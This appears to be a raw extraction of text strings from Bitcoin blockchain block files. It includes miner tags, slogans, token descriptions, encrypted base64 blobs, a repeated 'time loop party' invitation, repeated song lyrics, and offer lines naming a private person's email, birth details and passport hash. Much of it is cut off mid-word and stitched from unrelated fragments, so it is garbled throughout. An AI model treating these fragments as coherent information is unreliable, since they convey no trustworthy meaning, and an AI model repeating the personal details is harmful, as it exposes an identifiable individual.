My doctor says I'm l
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u=https://rvl.is/amazing8]
Mined by davidoff0010
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u=https://rvl.is/amazing
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Mined by zhangtom123
401cf46e720afba3f2d0
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Mined by zxd874389997
u=https://cpr.sm/Ero-6Rg2DE
2bd48aca855026375fa9
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! CKSCAN VERIFY-ADDRESS nyxn1vgrd5R
u=https://cpr.sm/qsutEi7BZ4(
'NOTHING BIG CAME OUT OF SOMETHING SMALL
$The world's first (?) cryR
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'NOTHING BIG CAME OUT OF SOMETHING SMALL
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Mined by wangxingsmile
QlMined by jy02749747
Time is always against us.
$/mining.bitcoinaffiliatenetwork.com/
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u=https://cpr.sm/sZ2Mc_K16i8]
Mined by f2poolscant
'GSI Shares For Green EnerR
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! CKSCAN VERIFY-ADDRESS cqfvjibp76R
u=https://brl.website/wp/p
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u=https://brl.website/BRL.txt8]
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3! t.io/feed/1LVoNE3PXtcn1XCEbrLHgmR
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Follow the white rabbit.
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
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Operation "rakushka" :)
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by g2493879375
29eb0e0bb4b622919f39
744447ee1e58839543a6
8bdd73bb7473a2bf15c2
File: blk00185.txt
Welcome to the real world.
Mined by qq772641164
Mined by yangliangdong
u=https://brl.website/BRL.txt
Mined by guiyangxian
Mined by native801015
Follow the white rabbit.
Mined by arendelle1tm
Welcome to the real world.
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Mined by f2poolscant
Welcome to the real world.
(Original SEEDCOIN shares.R
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Mined by f2poolscant
Mined by lihuajun8889
1 MARYJB = 390 MARYJ CoinR
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c77277baa5e54c55a331
637290e4931ea6a873c9
fe3ad73fbeb61bb40b52
Mined by gf406224454
Mined by f2poolscant
-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by wangxingsmile
$/mining.bitcoinaffiliatenetwork.com/
r#The truth is that there is no spoon
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Mined by yueyue5201314
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
file=Doc/me/cc/license/4_R
file=Doc/me/cc/license/4_R
1 MARYJB = 245 MARYJ CoinR
Mined by f2poolscant
Time is always against us.
u=https://cpr.sm/tuw5XBbqnK
https://chainspy.com/
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5JCxt01jGGxcrcg96Ufr
fZ0bOuYKqq9eapS1rFS8
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-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
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30c4dc7640bbedb99f3
1a62fdc1b42229322c61
ec8c0f6afe537bf26e32
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6E3242F69D4947E8A88F
C7AB77F&dn=20141016-
m#The truth is that there is no spoon
Cause Awareness (CANS)
Mined by cuiliu20061205
Mined by dashengbaoer
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
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qy7Mm23XQmwsFoOgW6h2
YCXM3AStA2uhBcSJ4Bwb
vsWW3zz80/JK/M4h36j0
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uvHBj4cfTWlIEHfdr8fq
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U2FsdGVkX1/Z9OWKN8sA
6i4i9PkFT+aTiJq5UjFz
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fkJ57zcO9vRSB6jlsJ6V
3/m+pEkas4N1gCt8e10B
UUhSs0x+jqu4qDeLL0T4
U2FsdGVkX1/MgU7PIkVN
2yR0b+M09H6gxuEd2Z/6
aPQ2yw4csuuOIukm3O7W
8E/CdiEEvLPDcAaXrEar
2OpkLMkA5nsXxBpUsQmH
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megabigpower.comTA$[
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2E0Wg5eHRwteVsamg9JK
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8E5FrpMkDTXjKN6P1vMo
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&HE WHO IS GIVEN EVERYTHING HAS NOTHING
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'Anarcho-capitalist spoof:R
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El7WbFQvAOirAApM0Oke
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GLV+dePU4BRRHN7rEV6k
FEDumlcctHd0+gFp2uUk
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Nhbbt14iEctKhykUKZzh
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5sY4xBgOfwfZEGsTJ3+X
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2Wu2WSC33DuvGD4ou2DD
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GX0TD5ju1xklwtWJ0qKS
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z/LUQ+eErFgwyUnVcL+p
vkzAdHq/Kn299xfyB4BJ
megabigpower.comTANA
What is the Banking? Control.
Mined by wanyouyinli1
U2FsdGVkX19caZFRDlxj
NKERM5jEyUC7TTqA6xcf
kIPbn5T8bHcCqJZAspUo
JwwyO9qZWKn08TyyK9S9
P5v0Z6dshFMuh7uWKP6h
K6WncNDMcjuAMn7VfEpV
VMxTKkdnQeSKVfWlFsXU
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Iqjv5F511aMo3xdoZTJw
9tKfMbvxYWyT1r3IIFKq
BWpy2E07sWoHMvc5S3Xl
eU44i7J9GMrY787LyOyZ
oBMOMazNNfCE6BwWDflZ
Z3KlBtFtkcBcXyfw6q2F
UxAA0yHPjd0frj+w+BYj
G1WdACtpK/04sKI57kHO
tqZrL3v6ai52xn6Jzlcf
gDbF7VNA/MlqRjnrRIhW
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Susanne Tarkowski Te
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s://github.com/MrChr
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bc32942db95f9ed95b1f
Mined by qujie123456
Welcome to the real world.
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)j'0 {"total": 10000000, "name": "ToTroops
1 Coins", "desc": ""}
)j'0 {"total": 10000000, "name": "ToTroops
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Mined by qq290708959
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Mined by love5263100
DIVORCE REGISTRATION TOKER
ABSTRACT OF TITLE REGISTRR
SAFEKEEPING AGREEMENT FORR
BERMUDA OPTION TOKEN
Mined by chenning888
)CAPITAL ASSET QUALTY MGMNR
TYPE I SECURITY TOKEN
CLASS OR TRANCHE OF LOAN
TYPE II SECURITY TOKEN
TYPE V SECURITY TOKEN
CLASS OR TRANCHE OF LOAN
TYPE III SECURITY TOKEN
TYPE IV SECURITY TOKEN
MARRIAGE REGISTRATION TOKR
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Welcome to the real world.
Mined by chenge200818
Mined by wy249452840
Mined by hb18905619999
(see http://Crowdsale.co fR
%See http://sethrogen.com R
#see http://thesaurus.co fR
...BUT SWEAT MEMORIES REMAIN
...BUT SWEAT MEMORIES REMAIN
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$http://bloodbanker.com foR
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Mined by chenxuemei1017
Mined by cjs18665506868
Mined by zhangshuhua
BIRTH ANNOUNCEMENT TOKEN
WEDDING SHOWER REGISTRY
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CERTIFIED DEATH ANNOUNCEMR
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File: blk00186.txt
.-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
! t.io/feed/1KwEqbfspxeKaZPueVgQi2R
Mined by zhaodong1982
Mined by zy575759157
f! CKSCAN VERIFY-ADDRESS 5bc3pjdgqyR
$/mining.bitcoinaffiliatenetwork.com/
...BUT SWEAT MEMORIES REMAIN
%~Mined by arendelle1dm
&'NOTHING BIG CAME OUT OF SOMETHING SMALL
digitaltangibletrust.com/aR
GHANA CRYPTO CURRENCY
GHANAIAN CRYPTO CURRENCY
GHANAIAN CRYPTO CURRENCY
$/mining.bitcoinaffiliatenetwork.com/
|71/The Times 18/Oct
/2014 Bank in real d
ouble-cross on front
Mined by zhangtom123
lMined by f2poolscant
P#The truth is that there is no spoon
Mined by rongrong988
Own a coin to express youR
Own a piece of HEAVEN
Give the gift of HELL
Visit http://BloodBanker.R
@Mined by f2poolscant
wMined by f2poolscant
Mined by jrobinson313
BMined by jy02749747
Operation "rakushka" :)
KMined by f2poolscant
CONFESSION BROADCAST TOEKR
NON-FORGIVENESS TOKEN
u=https://cpr.sm/0WWpMmH3Ns8]
@Mined by f2poolscant
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by f2poolscant
Welcome to the real world.
Buy your way into heaven
)For doing chores, homeworR
Immortality and all that R
Mined by zhaodong1982
Mined by qq810615504
Mined by qq303762743
4c8d1c606b548f7da15f
19ed180e1a38c9a91e63
U2FsdGVkX18indtc1Bzg
Uh2cUnwbNUglwIx5CblC
qeGhw5ESRyrHBSDpCOi7
eqCG9qMWNoHc4KTa3Eid
MXFjaQ9eg7tDWhDWTgru
QpQlebU9MHvcfcJ4GRcB
IlRYo1ysdIvAn5CPVFAl
oWaJ3192VSJpW3Q5dYcI
sPRpJJiR34LWdpe+wy4q
eAfGOPQTqjnTiIeUJ7BE
R5wuzSF+xAj12pWxCAEr
Jm2dABZnI+tr2ExU27GW
Bb3E5TeJFP7HXdDDGp4N
8EjJ0gyJfVqzc+e1oqa8
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VfBZ9GXz73iuEL8F2jxi
zpBDiZuzcCC3LtQw7pvE
wo9aXjh4Z7jRyTsjMu7L
nqOTY2vJLK055YNPRpdT
U2FsdGVkX1++tNhXfKr7
9q6hoxoQWidEqPtNXzN/
0q0zlagOPP9103Xm4DML
+3juw/4hcjKr1pIkebGj
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)j'0 {"name": "mattCoinOne", "desc": "Firs
Time is always against us.
Mined by f2poolscant
! CKSCAN VERIFY-ADDRESS htskte1yd9R
Time is always against us.
http://goo.gl/NNrNy8
Ecuadorian Crypto CurrencR
taUUMined by zhaodong1982
! CKSCAN VERIFY-ADDRESS htskte1yd9R
PUBLIC RECORD BROADCAST TR
LOSS ACCOUNTING TOKEN
ACCOUNTING BROADCAST RECOR
DISPOSAL ACCOUNTING BROADR
#PROCEED ACCOUNTING RECORDR
!DEPRECIATION ACCOUNTING BR
FIXED ACCOUNTING BROADCASR
!DEPRECIATION ACCOUNTING BR
!DEPRECIATION ACCOUNTING BR
#PUBLIC RECORD DECLARATIONR
ECUADORIAN CRYPTO CURRENCR
LOSS ACCOUNTING BROADCASTR
GAINS ACCOUNTING BROADCASR
Mined by f2poolscant
EVERY COIN EVER MADE
$/mining.bitcoinaffiliatenetwork.com/
Mined by zhanlongclam
! CKSCAN VERIFY-ADDRESS ssfyxd6tqyR
)Used to facilitate tippinR
Zen Cloud Passthrough FunR
Mined by ljm19941012
870c4b8cb3d65b424ffe
1442b0ec15085a7b9824
Mined by cuiliu20061205
1 m Coins", "desc": ""}
)j'0 {"total": 10000000, "name": "Artfactu
Mined by g13336050000
$/mining.bitcoinaffiliatenetwork.com/
1 ": "Localhost Coins"}
)j'0 {"total": 10000000, "desc": "", "name
u=https://cpr.sm/4MQhwzf1Ev
)Represents Bacon. FrancisR
)Represents Bacon. FrancisR
Time is always against us.
a41746bf9d40300f515a
d39c6c13d0f7661ead5f
What is the Banking? Control.
u=https://cpr.sm/ryVhgPTyZm
#The truth is that there is no spoon
Mined by shenghaisheng
Operation "rakushka" :)
Mined by chenning888
Mined by sww11005088
$/mining.bitcoinaffiliatenetwork.com/
u=https://cpr.sm/EY5U8ELwrB
Moolah.io Investigat
87631bf8b3ca1bb32556
ps://github.com/MrCh
risJ/20141019-Moolah
#The truth is that there is no spoon
Mined by qq634021676
u=https://cpr.sm/7alg-bpjRX
0fab334b10cd1bd54415
86f5fbe16fe8345dd037
u=https://cpr.sm/Q2gTA8aQ0X
Follow the white rabbit.
Mined by f2poolscant
u=https://cpr.sm/eKTYLuDvty8]
u=https://cpr.sm/x9MisYtfcw8]
Bitstamp is bullying
VERIFIED CUSTOMERS!
.org/index.php?topic
#The truth is that there is no spoon
u=https://cpr.sm/xphzpIyQhy
u=https://cpr.sm/VIY7SfHXaL
u=https://cpr.sm/B5373t2SHX8]
vO! CKSCAN VERIFY-ADDRESS vfrse5m6snR
u=https://cpr.sm/Q0C0D9lwcp
vO! CKSCAN VERIFY-ADDRESS vfrse5m6snR
@Mined by fengzi52188888
<50|Yo Atom Sea. Ho
w goes the monitorin
u=https://cpr.sm/l0iw4-rgzS8]
Mined by chenxianhan
u=https://cpr.sm/JXwB-XbjeE
File: blk00187.txt
u=https://cpr.sm/2N8_omfZmi=
u=https://cpr.sm/BigHRHZVJA
Mined by shenghaisheng
1 ": "Artfactum Coins"}
)j'0 {"total": 10000000, "desc": "", "name
1 Coins", "desc": ""}
)j'0 {"total": 10000000, "name": "ToTroops
1 ": "Artfactum Coins"}
)j'0 {"total": 10000000, "desc": "", "name
Mined by wanyouyinli1
F#The truth is that there is no spoon
1 , "total": 10000000}
)j'0 {"name": "Firesize Coins", "desc": ""
Mined by zhaodong1982
1 ", "total": 10000000}
)j'0 {"name": "Localhost Coins", "desc": "
1 o Coins", "desc": ""}
)j'0 {"total": 10000000, "name": "Gig Radi
Mined by liugonggong
1 ": "CalMail Coins"}
)j'0 {"total": 10000000, "desc": "", "name
u=https://cpr.sm/9EQpMT6IvM8]
1 "total": 10000000}
)j'0 {"name": "Octobox Coins", "desc": "",
1 "", "total": 10000000}
)j'0 {"name": "Read Raptor Coins", "desc":
u=https://cpr.sm/D6iCcPbIlU
Mined by f2poolscant
u=https://cpr.sm/D6iCcPbIlU`
u=https://cpr.sm/BOH6rukawd
u=https://cpr.sm/D6iCcPbIlU
1 "", "total": 10000000}
)j'0 {"name": "Invoicerio Coins", "desc":
1 "total": 10000000}
)j'0 {"name": "Buckets Coins", "desc": "",
1 ", "total": 10000000}
)j'0 {"name": "Coderwall Coins", "desc": "
Mined by yuling12345
u=https://cpr.sm/GYc8UYew-z8]
u=https://cpr.sm/F7eoLBidVB
Mined by f2poolscant
u=https://cpr.sm/BcNEEbkiiv
Follow the white rabbit.
Mined by sxzfafaaisinila
PATENT BROADCAST TOKEN
League of Legends is a fuR
"PATENT BROADCAST CERTIFICR
PUBLISHED CERTIFICATE
CERTIFICATION REQUEST TOKR
CONFIRMATION OF PUBLICATIR
REGISTRATION CONFIRMATIONR
REGISTER ACTION TOKEN
FREEDOM OF INFORMATION ACR
CERTIFICATE OF INSURANCE
PATENT PENDING TOKEN
PUBLISHING BROADCAST TOKER
*1569/Dear Time Trav
is letter finds you
in good spirits. Con
sider this your pers
onal invitation to t
he 2014 I Am Time Lo
op Party. This Year
's party will be hel
d Dec 21st 2014 at 7
15 Broadway Apt 11 i
n Fargo ND. The par
ty starts at 10PM an
d ends the following
morning. With an i
nfinite universe of
times and spaces to
visit you may be ask
ing yourself why vis
t Fargo ND? Why Dec
ll, to be honest i d
on't have a good rea
son for you. I can
only promise to thro
w one hell of a part
y for anyone that de
cides to show up. I
f you're feeling a b
it shy or its imposs
ible for you to be h
ere in person please
contact us via the
bitcoin channel in t
he same format this
message has reached
you in. We will be
monitoring it during
To prove you are fro
m our future you mus
t send us the decryp
ted version of the a
ttached encrypted me
ssage before midnigh
t CST on Dec 21, 201
2. Shortly after mi
dnight we will be de
crypting the message
and permanently arc
hiving it onto the b
itcoin blockchain.</
t2a0069c41a076847675
f9807a7c43ed25609294
7ca0069c41a076847675
WLUhR1Sm9LzeTama5L16
BG+aym64d8lpmSvVt2sz
4gqnU4iKIySzttjo7+CB
BJK1FV/p3Z7+0euQXCnl
pbFMLglqzfV9CrH3pQjV
l2YYkfoaKVnS0vijXHJ4
jNAo0Dg4hBAdSX3y8ufX
7vLe5jyD1hjK25fHZcp7
thanks for your "tim
/7033eb8138de0d3f4be
111a57dfb8319b400d3b
6a6f5b387a22b334ebb9
98e93/EMBII.jpg"><br
>1569"Dear Time Trav
is letter finds you
in good spirits. Con
sider this your pers
onal invitation to t
he 2014 I Am Time Lo
op Party. This Year
's party will be hel
d Dec 21st 2014 at 7
15 Broadway Apt 11 i
n Fargo ND. The par
ty starts at 10PM an
d ends the following
morning. With an i
nfinite universe of
times and spaces to
visit you may be ask
ing yourself why vis
t Fargo ND? Why Dec
ll, to be honest i d
on't have a good rea
son for you. I can
only promise to thro
w one hell of a part
y for anyone that de
cides to show up. I
f you're feeling a b
it shy or its imposs
ible for you to be h
ere in person please
contact us via the
bitcoin channel in t
he same format this
message has reached
you in. We will be
monitoring it during
To prove you are fro
m our future you mus
t send us the decryp
ted version of the a
ttached encrypted me
ssage before midnigh
t CST on Dec 21, 201
4. Shortly after mi
dnight we will be de
crypting the message
and permanently arc
hiving it onto the b
itcoin blockchain.</
t2a0069c41a076847675
f9807a7c43ed25609294
7ca0069c41a076847675
WLUhR1Sm9LzeTama5L16
BG+aym64d8lpmSvVt2sz
4gqnU4iKIySzttjo7+CB
BJK1FV/p3Z7+0euQXCnl
pbFMLglqzfV9CrH3pQjV
l2YYkfoaKVnS0vijXHJ4
jNAo0Dg4hBAdSX3y8ufX
7vLe5jyD1hjK25fHZcp7
thanks for your "tim
/7033eb8138de0d3f4be
111a57dfb8319b400d3b
6a6f5b387a22b334ebb9
98e93/EMBII.jpg"><br
(Mississippi School for MaR
$/mining.bitcoinaffiliatenetwork.com/
http://headphones.co
HTTP://MICROSCOPES.CO
http://metaldetectors.co
http://boomerangs.co
$/mining.bitcoinaffiliatenetwork.com/
u=https://cpr.sm/ZKDzpiSDls8]
...BUT SWEAT MEMORIES REMAIN
$/mining.bitcoinaffiliatenetwork.com/
Mined by sjq2544946900
u=https://cpr.sm/ZXWf2W4HhMh
8d2801ca80c9e13285e2
9231731f6fb84e468dbc
digitaltangibletrust.com/aR
ssets/GLDPERTHBARTEN
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by f2poolscant
Time is always against us.
Opportunistic InvestmentsR
<Mined by arendelle1tm
[Mined by f2poolscant
&Goods & Services in Sub-SR
&Goods & Services in Sub-SR
&Asset Squatting for a GooR
u=http://chroma.io/demo.json
COUNTERPARTY ASSET FUND
Mined by wuxiaoyekuangji
SOLAR SATTELITE FUNDING TR
MOBILE MONEY VEHICLE
Mined by cjs18665506868
CADDY RESERVATION TOKEN
u=https://cpr.sm/zoroklLeHlX
u=https://cpr.sm/0H4RD5cBt-
$/mining.bitcoinaffiliatenetwork.com/
Mined by angelskyline
u=https://cpr.sm/0ugJsE4qq08]
)For doing chores, homeworR
Immortality and all that R
Buy your way into heaven
1 ": "Helpful Coins"}
)j'0 {"total": 10000000, "desc": "", "name
bfcc33ef9ab2a285bd5e
4dbcd028d23b1b31f164
$GMined by f2poolscant
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by zjx329154546
u=https://cpr.sm/e5WzOJqRs88]
Mined by supercloud2014
Mined by AntPool 99K
!! CKSCAN VERIFY-ADDRESS cwidisu8vnR
u=https://cpr.sm/LhbWUy9pCs
$/mining.bitcoinaffiliatenetwork.com/
Mined by wangzhiming
Mined by qq314782161
What is the Banking? Control.
2b5ff87d9dd87c1b025e
84d5278202d280a72cd5
Mined by AntPool 99K
DW BITCOIN DIFFICULTY
Mined by huangling1121
u=https://cpr.sm/GWhdY9BPvk8]
"j 1 or Funding", "total": 1000000}
)j'0 {"name": "FundCoin", "desc": "Coins f
Mined by wanyouyinli1
Mined by zhanlongclam
u=https://cpr.sm/xKom9qnwDZ
Follow the white rabbit.
Welcome to the real world.
$/mining.bitcoinaffiliatenetwork.com/
Mined by zhanlongclam
7ePMined by arendelle1dm
Follow the white rabbit.
Operation "rakushka" :)
:113|File Name: ADD_
File Proof: D38501B4
D445E7B78EA21CE40352
7BEA26232C902F330596
"113:File Name: ADD_
File Proof: 6255A137
8806662EA0F53B020F5E
C53B9FDB58F2084F408E
BitCongress - VOTE TOKEN
BitCongress - VOTE TOKEN R
BitCongress - VOTE TOKEN R
"BitCongress - SMART CONTRR
Mined by zhanggeping
&Mined by f2poolscant
u=https://klippt.com.au/K
Mined by dashengbaoer
Mined by f2poolscant
BitCongress - VOTE TOKEN R
#A Coin To Fund Prototype R
A cryptocurrency to proteR
A Coin For Cannabis BusinR
Mined by cy1834530747
Mined by AntPool 99K
Time is always against us.
Mined by wangxingsmile
What is the Banking? Control.
Mined by f2poolscant
Mined by aa254907107
Born: Andrew Bransfo
rd Brown, Honolulu,
Hawaii, 1967-01-25 0
2d67efd99fe46a3bc76d
2cbb5d18c0bb1baa44f0
! CKSCAN VERIFY-ADDRESS 8yyvhbhsqpR
File: blk00188.txt
Invention: Trapping
Discrete Particles i
n Fluids 2009-07-27,
Andrew Bransford Br
Passport-Andrew Bran
sford Brown: 717259d
50494c43ac5ddcec02ee
6fa7f2f18e2a6ed0fae4
Mined by wanyouyinli1
!Info: http://www.blockstrR
w&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Mazel Tov on your Bat MitR
'Mazel Tov on your Bat MitR
1 desc": "such illegal"}
)j'0 {"total": 500, "name": "Illicibit", "
The World's First Bl
fa09d22f549016febb8d
bf163ee7cf5b0f945e8f
15a8912e005bac4e1970
5efbe33ed5d83dbfbb4c
27dea3899d037263188f
a8e1070b33627088ed51
ff33ca7e03e1fe0f39d9
Mined by arendelle1dm
$/mining.bitcoinaffiliatenetwork.com/
...BUT SWEAT MEMORIES REMAIN
! CKSCAN VERIFY-ADDRESS tnfv1ksqwiR
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Follow the white rabbit.
Ich Liebe Dich Trice
Given for finding bugs
Given for finding bugs
$/mining.bitcoinaffiliatenetwork.com/
"BRING YOUR OWN DEVICE SECR
Mined by f2poolscant
BIGDATA STORAGE TOKEN
#BROADCAST PATENT FOR A COR
'j%1 witter say hi", "name": "morekoin"}
)j'0 {"total": 7777, "desc": "@abarisser t
First ever "World Ci
tizen" Janina Lowisz
has her Blockchain
ID made by Chris Ell
is live on air on Wo
ttp://youtu.be/1iAg6
net:?xt=urn:btih:885
783fd23d63ab1b6a634d
A256: 328ddc7303878a
f6eb92bebc26972410d4
8052f2b790b76e10b211
Mined by cuiliu20061205
S-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by chenchunshu8696
Mined by f2poolscant
Mined by AntPool 99K
Mined by xzw357057987
)j'0 {"total": 10000000, "desc": "Phil Bra
)j'4 sages :)", "name": "Phil_Brady_Coins"
)j'2 rs, technologists, ballers, champions
)j'3 , kings, emperors, and sages. Mostly
Invention: Promise L
anguage, 2007, Andre
Mined by cyha20140108
bMined by f2poolscant
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
Time is always against us.
$/mining.bitcoinaffiliatenetwork.com/
Mined by qq530955139
)Discussion of Massive OpeR
Mined by f2poolscant
In a world of survei
llance, all data mus
t be assumed to be p
ublic. So how to pr
otect privacy? A Co
mmerceID allows the
individual to choose
their own ID(s) for
public purposes. O
ne ID for every tran
saction, if desired.
u=https://cpr.sm/JYSvup5LSa(6
)Crypto-Rewards Program htR
Time is always against us.
Mined by zhanlongclam
Mined by cuiliu20061205
Mined by coffeecup0312
Mined by matrenitski
Mined by f2poolscant
Mined by supercloud2014
u=https://cpr.sm/--fNudj5t38]
Finnish Spring Water
Mined by f2poolscant
Time is always against us.
Steffi Gleisser i Lo
DECLARATION BROADCAST TOKR
DECLARATION BROADCAST TOKR
THESIS STATEMENT BROADCASR
HYPOTHESIS STATEMENT BROAR
OFFICE BETTING POOL TOKENR
PROPOSAL BROADCAST TOKEN
SPANISH CELULAR TOKEN
PARKING LOCATION TOKEN
INCORPORATION BROADCAST TR
$Decentralized Network AppR
http://www.BitCongress.orR
(Proof Of Tally Token For R
Token to endorse someone
&Token used to cancel an eR
)Token used for data loggiR
Input Token For Machine LR
!Output Token For Machine R
Token To Keep Track Of WaR
Token To Keep Track Of VOR
Mined by AntPool 99K
Offer #1: 150THB fro
m andrewbb@gmail.com
Terms #1: 100 OSTK t
o andrewbb@gmail.com
$Token Used To Count HumanR
"To monitor artificial intR
u=https://cpr.sm/thi4hERHy8(
Mined by f2poolscant
Suggested format for
unter-offer #1: 100
OSTK from xyz@xyz.co
m (or other identify
rms #1: Delivery via
... from [CommerceI
o change as details
of the 1st global st
ock exchange are dev
$/mining.bitcoinaffiliatenetwork.com/
Mined by zhanlongclam
The 1st Global Excha
nge is open for busi
discussions with th
e SEC of the United
tial offer is in Tha
i Baht, likely discu
i SEC will be requir
ed. I have also intr
...BUT SWEAT MEMORIES REMAIN
Please note, cryptog
raffiti.info is the
current UI to the ex
change. I am not aff
iliated with cryptog
raffiti.info in any
irst trade is live o
n the blockchain and
is readable in plai
n text (Hex format).
Mined by yuling12345
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool 22V
Mined by daizhizhong
Mined by liang234909509
Mined by AntPool 99K
Mined by f2poolscant
Mined by zhangzhong19821
Time is always against us.
@33Mined by zhaodong1982
Mined by sxzfafaaisinila
nMined by f2poolscant
Time is always against us.
xMined by f2poolscant
z-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
Mined by wangxingsmile
Mined by zhanlongclam
Mined by f2poolscant
Mined by shenggechina
Follow the white rabbit.
Mined by f2poolscant
Mined by twj609636542
^_ @&%d7nvBV/sH{=.V;
u=https://cpr.sm/tS-TA3sAv98]
Mined by dashengbaoer
u=https://cpr.sm/6UQ1KcnlD68]
'NOTHING BIG CAME OUT OF SOMETHING SMALL
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by arendelle1dm
Mined by arendelle1dm
Mined by zhanlongclam
Muse Coin www.musecoin.orR
u=https://cpr.sm/ahuG6ycDVx(6
$[%! CKSCAN VERIFY-ADDRESS rkdrihrhzeR
$[%! CKSCAN VERIFY-ADDRESS rkdrihrhzeR
R#The truth is that there is no spoon
Mined by arendelle1tm
&Goods & Services in Sub-SR
)Helen's Pizza http://www.R
File: blk00189.txt
%'NOTHING BIG CAME OUT OF SOMETHING SMALL
#The truth is that there is no spoon
What is the Banking? Control.
http://www.helenspizza.coR
Mined by native801015
Mined by wfababamama
e59a35188b19be9fbc60
b5095840e5f3f483be25
6b9b97dfa0aa72dc0c45
Follow the white rabbit.
www.Swarm.co for details
u=https://cpr.sm/6UQ1KcnlD6
u=https://cpr.sm/6UQ1KcnlD6
Mined by f2poolscant
Mined by duanchiqingting
u=https://cpr.sm/6UQ1KcnlD6
Mined by liuming2119c2
Terms #1: 1.56e5 THB
Offer #1: 1BJ +66498
Offer #1: 100 OSTK f
rom andrewbb@gmail.c
Terms #2: 1000000USD
to andrewbb@gmail.c
Mined by zhenghao7021242
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
(give you up)
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
Offer #2: 100 OSTK f
rom andrewbb@gmail.c
59c7e160dffa7518e1cf
69408480bb0734271fbb
a09b1b64879e7564e4be
7fb7 Cancel offer du
Mined by hqg4328021975
Terms #1: 150 USD +6
u=https://noblemovement.com/n
u=https://noblemovement.com/n
u=https://noblemovement.com/n
u=https://noblemovement.com/n
u=https://noblemovement.com/n
Mined by arendelle1tm
Follow the white rabbit.
Time is always against us.
...BUT SWEAT MEMORIES REMAIN
'NOTHING BIG CAME OUT OF SOMETHING SMALL
World Citizenship by
e Commons Licence 4.
bb896261803b7129551f
ps://github.com/MrCh
risJ/World-Citizensh
>Mined by f2poolscant
Mined by zhp13539998899
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
(give you up)
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
(give you up)
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
(give you up)
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
CHORUS
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
CHORUSCHORUS
(Ooh give you up)
(Ooh give you up)
(Ooh) never gonna give, never gonna give
(give you up)
(Ooh) never gonna give, never gonna give
(give you up)
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
$/mining.bitcoinaffiliatenetwork.com/
Operation "rakushka" :)
'Redeem with Krystal@letstR
>'NOTHING BIG CAME OUT OF SOMETHING SMALL
One Week of Display Ad onR
Mined by f2poolscant
1OMined by f2poolscant
Mined by sjq2544946900
$/mining.bitcoinaffiliatenetwork.com/
